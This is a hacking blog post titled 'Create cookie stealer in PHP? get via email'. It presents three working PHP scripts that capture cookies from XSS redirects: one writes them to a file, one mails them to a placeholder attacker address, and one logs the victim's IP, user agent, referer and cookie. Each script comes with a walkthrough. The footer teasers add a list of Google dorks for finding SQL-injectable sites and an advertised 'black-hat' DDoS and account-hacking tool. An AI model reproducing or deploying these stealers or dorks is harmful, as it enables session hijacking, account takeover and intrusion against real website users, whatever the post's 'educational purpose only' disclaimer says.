Skip to main content

Create cookie stealer in PHP? get via email


<?php
    $cookie = $HTTP_GET_VARS[“cookie”];
    $steal = fopen(“cookiefile.txt”, “a”);
    fwrite($steal, $cookie .”\n”);
    fclose($steal);
    ?>

$cookie = $HTTP_GET_VARS[“cookie”]; steal the cookie from the current url(stealer.php?cookie=x)and store the cookies in $cookie variable.

$steal = fopen(“cookiefile.txt”, “a”); This open the cookiefile in append mode so that we can append the stolen cookie.

fwrite($steal, $cookie .”\n”); This will store the stolen cookie inside the file.

fclose($steal); close the opened file.

Another version: Sends cookies to the hacker mail

    <?php
    $cookie = $HTTP_GET_VARS[“cookie”]; mail(“hackerid@mailprovider.com”, “Stolen Cookies”, $cookie);
    ?>

The above code will mail the cookies to hacker mail using the PHP() mail function with subject “Stolen cookies”.

Third Version

<?php
    function GetIP()
    {
        if (getenv(“HTTP_CLIENT_IP”) && strcasecmp(getenv(“HTTP_CLIENT_IP”), “unknown”))
            $ip = getenv(“HTTP_CLIENT_IP”);
        else if (getenv(“HTTP_X_FORWARDED_FOR”) && strcasecmp(getenv(“HTTP_X_FORWARDED_FOR”), “unknown”))
            $ip = getenv(“HTTP_X_FORWARDED_FOR”);
        else if (getenv(“REMOTE_ADDR”) && strcasecmp(getenv(“REMOTE_ADDR”), “unknown”))
            $ip = getenv(“REMOTE_ADDR”);
        else if (isset($_SERVER[‘REMOTE_ADDR’]) && $_SERVER[‘REMOTE_ADDR’] && strcasecmp($_SERVER[‘REMOTE_ADDR’], “unknown”))
            $ip = $_SERVER[‘REMOTE_ADDR’];
        else
            $ip = “unknown”;
        return($ip);
    }
    function logData()
    {
        $ipLog=”log.txt”;
        $cookie = $_SERVER[‘QUERY_STRING’];
        $register_globals = (bool) ini_get(‘register_gobals’);
        if ($register_globals) $ip = getenv(‘REMOTE_ADDR’);
        else $ip = GetIP();

        $rem_port = $_SERVER[‘REMOTE_PORT’];
        $user_agent = $_SERVER[‘HTTP_USER_AGENT’];
        $rqst_method = $_SERVER[‘METHOD’];
        $rem_host = $_SERVER[‘REMOTE_HOST’];
        $referer = $_SERVER[‘HTTP_REFERER’];
        $date=date (“l dS of F Y h:i:s A”);
        $log=fopen(“$ipLog”, “a+”);

        if (preg_match(“/bhtmb/i”, $ipLog) || preg_match(“/bhtmlb/i”, $ipLog))
            fputs($log, “IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE:  $cookie <br>”);
        else
            fputs($log, “IP: $ip | PORT: $rem_port | HOST: $rem_host |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer |  DATE: $date | COOKIE:  $cookie nn”);
        fclose($log);
    }
    logData();
    ?>

 The above Cookie stealer will store the following information:

    Ip address
    port number
    host(usually computer-name)
    user agent
    cookie
This Article is for Educational purpose only(written for Ethical Hackers).

Comments

Post a Comment

Popular posts from this blog

Php And Google Dorks 2017

A Dork query, sometimes just referred to as a dork, is a search string that uses advanced search operators to find information that is not readily available on a website. Here is a list of dorks to find SQL injectable websites. Google Dorks trainers.php?id= article.php?ID= play_old.php?id= declaration_more.php?decl_id= Pageid= games.php?id= newsDetail.php?id= staff_id= historialeer.php?num= product-item.php?id= news_view.php?id= humor.php?id= communique_detail.php?id= sem.php3?id= opinions.php?id= spr.php?id= pages.php?id= chappies.php?id= prod_detail.php?id= viewphoto.php?id= view.php?id= website.php?id= hosting_info.php?id= gery.php?id= detail.php?ID= publications.php?id= Productinfo.php?id= releases.php?id= ray.php?id= produit.php?id= pop.php?id= shopping.php?id= productdetail.php?id= post.php?id= section.php?id= theme.php?id= page.php?id= shredder-categories.php?id= product_ranges_view.php?ID= shop_category.php?id= channel_id=...

Download Hacking tool and library for rookie

Hello guy's, In today's post i will be sharing with guy's some useful Black-hat Hacking tool which is very very useful for beginners in hacking, Have been using this tool for the past few month, its a nice tool .This Tool can be used to password cracker, DDOS tool, email scraper, web spider, website hacking.This wonderful tool was develop by  hackerlord. Description Black-hat hacking tool to easily hack website, scrape email, port scanner, crack FTP password, launch DDOS attack, mysql injection, easily hijack website, web spider, website vulnerability scanner and social engineering tool. Features hacking tool email scraper facebook account hacking tool social engineering FTP password cracker web spider tool DDOS tool port scanner vulnerability scanner gmail account hacking tool easily shut a website down easily read and write data into a website database Download